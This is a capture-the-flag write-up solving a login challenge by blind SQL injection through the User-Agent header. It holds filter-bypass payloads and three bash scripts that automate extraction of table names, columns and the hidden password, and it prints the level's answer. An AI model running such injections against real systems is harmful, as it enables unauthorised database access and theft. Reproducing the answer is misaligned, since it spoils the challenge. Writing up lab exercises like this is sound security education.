The source:
a simple POST form.
Official clues:
«damn login» little hint: it’s you vs UA/Sql
UA stands for User-Agent, so we must inject some sql through User-Agent field in our requests.
«damn login»:
1st step is to get a valid query
2nd one should be to get a list of non-filtered stuff
I tried to inject different things with no luck:
Firefox Returns “you are using Firefox”
MSIE Returns “you are using Internet Explorer”
FirefoxMSIE Returns “you are using Internet Explorer” (So IE has preference in internal search)
Firefox’# Returns blank screen
Firefox’)# Returns blank screen
What about using two fields?
Firefox’,’Firefox’)# Returns “you are using Internet Explorer”
Firefox’,’o’)# Returns “you are using Internet Explorer”
Firefox’,’z’)# Returns “you are using an unknown browser”
z’,’z’)# Returns “you are using Internet Explorer”
z’,’o’)# Returns “you are using an unknown browser”
So we have 1st step cleared: we’ve got a valid query!
The query matches the right field against the left one. We have a tool to blind SQLi.
If we get IE the comparison is true and if we get unknown then it’s false.
To deal with 2nd step I wrote simple scripts to automatize the process.
We can get which characters are filtered.
Setting UA=”Fchar-to-be-checkedirefox”, if we get “Firefox” then the char is filtered and if we get “unknown” the char is not filtered.
The script gets these chars as non-filtered:
» # $ & ‘ ( ) * , . / 0 1 2 3 4 5 6 7 8 9 : ? @ A B C D E G H I J K L M N O P Q R S T U V W X Y Z [ ] _ ` a b c d e g h i j k l m n o p q r s t u v w x y z { } ~ \x7f
(\x7f is the char code as it’s a non-printable char)
(The space is filtered)
We can get which keywords are filtered.
Setting UA=”’,’keyword‘)#” if we get “IE” then the keyword is filtered and if we get “unknown” the keyword is not filtered.
Non-filtered-keywords (the list is reduced, cutting some useless keywords):
BINARY BY COLUMN LIKE LPAD ORDER SELECT TABLE WHERE …
The get non-filtered-chars script:
#!/bin/bash # # hex() { BASE=16 if [ -z "$1" ] then HD=0 return fi HD=`echo ""$1" "$BASE" o p" | dc` return } N_CHAR=0 S=0 while [ $S -lt 256 ] do hex $N_CHAR HHD=$HD HD=`printf "\x$HD"` UA="User-Agent: F${HD}irefox" CONTENTS=`wget -O - --header="${UA}" --post-data='pass=kk&submit=go' "http://ctf.rs-labs.com:85/damn_login_82c5feb95ba26418a402506311c99c7a/" 2>/dev/null` CHECK=`echo ${CONTENTS} | egrep -o 'Firefox'` if [ $? -eq 1 ]; then echo -n "Char: ${N_CHAR} / ${HHD} " if [ $N_CHAR -ge 32 ] then echo "/ ${HD}" fi fi S=$(( $S + 1 )) N_CHAR=$(( $N_CHAR +1 )) done
The get non-filtered-keywords script:
#!/bin/bash # # while read KEYW do UA="User-Agent: ','${KEYW}')#" CONTENTS=`wget -O - --header="${UA}" --post-data='pass=kk&submit=go' "http://ctf.rs-labs.com:85/damn_login_82c5feb95ba26418a402506311c99c7a/" 2>/dev/null` CHECK=`echo ${CONTENTS} | egrep -o 'unknown'` if [ $? -eq 0 ]; then echo "${KEYW}" fi done < c5.keywords
(The file c5.keywords cotains all MySQL keywords).
Well, now we know what we can use and what we can’t.
Now we need to get the table names that contains useful info to solve this level.
So, we must perform some blind queries to get the table names using our “tool”.
The idea is to loop the valid charset looking for matches against database table names. Starting with a single char if we get a match then append a new char at the end and try again until the whole name is reached.
Trying ‘A’ it doesn’t match
Trying ‘B’ it doesn’t match
…
Trying ‘T’ it match
Trying ‘TA’ it match
Trying ‘TAA’ it doesn’t match
Trying ‘TAB’ it match
… and so on.
In our tool we can put our string being tested on the 1st field and into the 2nd field we must use a subquery like this:
select table_name from information_schema.tables where table_name like 'tested string'
But this doesn’t works because we need to compare a substring of table_name.
SUBSTR keyword is also filtered so we must find another non-filtered function that works as SUBSTR() function. And here it is: LPAD.
LPAD(str1,len,str2) returns str1 left-padded with str2 but the string returned is len chars in length.
Example: LPAD(‘hello’,7,’a’) returns ‘aahello’
If len is less or equal than str1 length then only len chars of str1 are returned. So if we do:
LPAD(‘str1’,length(str1),») we get str1, and
LPAD(TABLE_NAME,length(tested-string),») returns a substring from TABLE_NAME which have the same length as our tested string.
Using valid chars to build the injection we get something like:
${S_STR}',(SELECT/**/LPAD(TABLE_NAME,${LONG_S_STR},'')/**/FROM/**/information_schema.tables/**/WHERE/**/LPAD(TABLE_NAME,${LONG_S_STR},'')/**/LIKE/**/'${S_STR}'))#
${S_STR} is the tested string.
I’ve wrote a script to automatize the search process and I’ve got the following suspicious table names:
SecretPass
UserAgent
One comment here for the ‘_’ char and the case sensitive search.
The LIKE clause has the following syntax: string LIKE pattern. So the following queries aren’t the same:
SELECT str1 LIKE str2;
SELECT str2 LIKE str1;
Though str1 and str2 were equals, str2 is acting as pattern in 1st query and str1 in the 2nd one. This is important when using wilcards. LIKE accepts ‘%’ and ‘_’ as wilcards in pattern.
SELECT 'hell_' LIKE 'hello' is false
SELECT 'hello' LIKE 'hell_' is true!
The ‘%’ wildcard matches any number of characters, even zero characters.
The ‘_’ wildcard matches exactly one character.
If we want match the ‘_’ character we must to escape it like this: ‘\_’.
Due to this behaviour we can’t write:
WHERE/**/'${S_STR}'/**/LIKE/**/LPAD(TABLE_NAME,${LONG_S_STR},'')
because if the table_name substring contains the ‘_’ character it is acting as a wilcard and the results will be wrong!
We MUST use:
WHERE/**/LPAD(TABLE_NAME,${LONG_S_STR},'')/**/LIKE/**/'${ES_STR}'
where ${ES_STR} is the ${S_STR} with all ‘_’ chars escaped.
On the other hand, the comparisons within MySQL are made case in-sensitive.
SELECT 'HELLO' LIKE 'hello' returns true.
But if any of the operands is a binary string then the comparison is case sensitive.
SELECT 'HELLO' LIKE BINARY 'hello' returns false.
As BINARY is not filtered, we can use that to get the right names of the tables and its contents. This is important because if we’ve got “secretpass” as the table name and we want to use that name to get its contents the query fails. Try it!
When getting the column names we can specify the table name it belongs to:
${S_STR}',(SELECT/**/LPAD(COLUMN_NAME,${LONG_S_STR},'')/**/FROM/**/information_schema.columns/**/WHERE/**/TABLE_NAME/**/LIKE/**/'${TABLE_NAME}'/**/&&/**/LPAD(COLUMN_NAME,${LONG_S_STR},'')/**/LIKE/**/BINARY/**/'${ES_STR}'))#
Now we have all the ingredients to do the right injections.
We get:
prio
ua_desc
ua_keyword
as column names for UserAgent table, and:
Pwd
as unique column name for SecretPass table.
The UserAgent table contains the keywords for some browsers and the priority they have when more than one is selected (and the description you get: you are using…)
The interesting table SecretPass contains the solution to this game into the Pwd column:
Us3r4g3nt_l34k3d_s0_much_1nf0
Using it into the form we get:
The script:
(It’s perfectly possible to write a light and smaller version with bash or another language like python, but I prefer to write it in bash and invest it with a couple of options)
#!/bin/bash # # #set -x # function to init the search string init_string() { # if no string, nothing to do if [ -z $1 ]; then ${DEBUG} && echo "Init String not valid!" return 1 fi # get index INDEX=`expr length $1 + 1` for I in `seq 1 ${INDEX}`; do CHAR_I=`echo $1 | cut -b $I` for J in `seq 1 ${LONG_CHARSET}`; do CHAR_J=`echo ${CHARSET} | cut -b $J` if [ "$CHAR_I" = "$CHAR_J" ]; then SAVED[$I]=$(( $J + 1 )) break fi done done } # no verbose DEBUG=false # no curl neither wget USE_CURL=false USE_WGET=false # no table_name TABLE_NAME="" T_NAME="" # process parameters while [ $# -gt 0 ]; do case $1 in "-t" ) TABLE=$2 shift ;; "-c" ) COLUMN=$2 shift ;; "-u" ) USE_CURL=true ;; "-w" ) USE_WGET=true ;; "-v" ) DEBUG=true ;; "-tn" ) TABLE_NAME="/**/TABLE_NAME/**/LIKE/**/'$2'/**/&&" T_NAME=$2 shift ;; "-ss" ) I_STRING=$2 shift ;; esac shift done # check mandatory parameters if [ -z ${TABLE} ] || [ -z ${COLUMN} ]; then echo "Use $0 -t table -c column [[-u] | [-w]] [-v] [-tn table_name] [-ss string]" echo -e "\t -t table:\ttable to search" echo -e "\c -c column:\tcolumn to search" echo -e "\t -u:\tuse curl" echo -e "\t -w:\tuse wget" echo -e "\t -v:\tverbose" echo -e "\t -tn table_name: name of the table to search for column names (-t must be information_schema.columns)" echo -e "\t -ss string: initial search string" exit fi CHARSET="aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ0123456789_{}[]$" LONG_CHARSET=`expr length ${CHARSET}` # Max long allowed for matches MAX_LONG=40 # retro watch if we are going backwards for not to save substrings from current match to file RETRO=0 # matches output file name OUT_FILE="c2-${TABLE}-${COLUMN}_${T_NAME}.txt" # paths for curl & wget CURL_PATH=`which curl` WGET_PATH=`which wget` # select browser if ${USE_CURL} -a [ ! -z ${CURL_PATH} ]; then BROWSER=${CURL_PATH} B_TYPE="c" elif ${USE_WGET} -a [ ! -z ${WGET_PATH} ]; then BROWSER=${WGET_PATH} B_TYPE="w" else if [ ! -z ${CURL_PATH} ]; then BROWSER=${CURL_PATH} B_TYPE="c" elif [ ! -z ${WGET_PATH} ]; then BROWSER=${WGET_PATH} B_TYPE="w" else echo "Error: no browsers found!" exit 1 fi fi # rename old file if exists if [ -f ${OUT_FILE} ]; then mv ${OUT_FILE} ${OUT_FILE}.bak fi # init saved positions to 1 for I in `seq 1 ${LONG_CHARSET}`; do SAVED[${I}]=1 done # index is the length of search string acting as a pointer INDEX=1 # init last match found LAST_MATCH=${I_STRING} # set init string if exists init_string ${I_STRING} echo -e "Using:\n\tTable:\t\t${TABLE}\n\tColumn:\t\t${COLUMN}" echo -e "\tBrowser:\t${BROWSER}" test ! -z ${T_NAME} && echo -e "\tTable Name:\t${T_NAME}" test ! -z ${I_STRING} && echo -e "\tInit string:\t${I_STRING}" # loop forever while true; do # get last match MATCH="${LAST_MATCH}" ${DEBUG} && echo "Match value at while begining: ${MATCH}" ${DEBUG} && echo "Start at: ${SAVED[${INDEX}]}" # loop charset from saved position for I in `seq ${SAVED[${INDEX}]} ${LONG_CHARSET}`; do # get next char from charset CURRENT_CHAR="`echo ${CHARSET} | cut -b ${I}`" # concat at match's end S_STR="${MATCH}${CURRENT_CHAR}" LONG_S_STR=`expr length ${S_STR}` # build injection (User-Agent) # escape "_" ES_STR=`echo "${S_STR}" | sed 's/_/\\\_/g'` UA="${S_STR}',(SELECT/**/LPAD(${COLUMN},${LONG_S_STR},'')/**/FROM/**/${TABLE}/**/WHERE${TABLE_NAME}/**/LPAD(${COLUMN},${LONG_S_STR},'')/**/LIKE/**/BINARY/**/'${ES_STR}'))#" echo -ne "Current cad: ${S_STR} \r" # assume match MATCHED=1 # inject ${DEBUG} && echo "Injecting: ${UA}" if [ "${B_TYPE}" = "w" ]; then ${WGET_PATH} -O - --no-cache -q --ignore-length --user-agent="${UA}" --post-data='pass=kk&submit=go' "http://ctf.rs-labs.com:85/damn_login_82c5feb95ba26418a402506311c99c7a/" 2>/dev/null | egrep -o 'unknown' > /dev/null else ${CURL_PATH} -d pass=kk -d submit=go -A ${UA} http://ctf.rs-labs.com:85/damn_login_82c5feb95ba26418a402506311c99c7a/ 2>/dev/null | egrep -o 'unknown' > /dev/null fi # if $? = 0 => 'unknown' string found => no match if [ $? -eq 0 ]; then ${DEBUG} && echo "No match" MATCHED=0 fi # If match found if [ ${MATCHED} -eq 1 ]; then ${DEBUG} && echo "Match" # save matched string LAST_MATCH="${S_STR}" ${DEBUG} && echo "Last match: ${LAST_MATCH}" # save next char position at index SAVED[${INDEX}]=`expr ${I} + 1` ${DEBUG} && echo "Save position: ${SAVED[${INDEX}]} en SAVED[${INDEX}]" # exit from for loop break fi done # if there's no match we need to go backwards if [ ${MATCHED} -eq 0 ]; then # save old match to file only if we're going forward if [ ${RETRO} -eq 0 ] && [ "${MATCH}" != "${I_STRING}" ]; then echo "${MATCH}" >> ${OUT_FILE} echo -e "\nMatch: ${MATCH}" fi # reset saved position SAVED[${INDEX}]=1 # reduce index ((INDEX--)) # active backwards RETRO=1 # if index = 0 we're at the end if [ ${INDEX} -eq 0 ]; then ${DEBUG} && echo "Finished for return to begining." exit fi # cut last char from LAST_MATCH L_TEMP=`expr length ${LAST_MATCH} - 1` if [ ${L_TEMP} -eq 0 ]; then # reset LAST_MATCH LAST_MATCH="" else LAST_MATCH=`echo ${LAST_MATCH} | cut -b -${L_TEMP}` fi ${DEBUG} && echo "Last match new (exit from for loop without match): ${LAST_MATCH}" # if there's a match increase index else # if we've got max length allowed if [ ${INDEX} -eq ${MAX_LONG} ]; then ${DEBUG} && echo "Max length reached" # save old match to file only if we're going forward if [ ${RETRO} -eq 0 ]; then echo "${MATCH}" >> ${OUT_FILE} echo -e "\nMatch: ${MATCH}" fi # reset saved position SAVED[${INDEX}]=1 # reduce index ((INDEX--)) # active backwards RETRO=1 # if index = 0 we're at the end if [ ${INDEX} -eq 0 ]; then ${DEBUG} && echo "Finished for return to begining (max length reached)." exit fi # cut last char from LAST_MATCH L_TEMP=`expr length ${LAST_MATCH} - 1` if [ ${L_TEMP} -eq 0 ]; then # reset LAST_MATCH LAST_MATCH="" else LAST_MATCH=`echo ${LAST_MATCH} | cut -b -${L_TEMP}` fi ${DEBUG} && echo "Last match new (max length reached): ${LAST_MATCH}" else # increase index ((INDEX++)) # now forward RETRO=0 ${DEBUG} && echo "New index: ${INDEX}" fi fi done
Difficulty: Hard++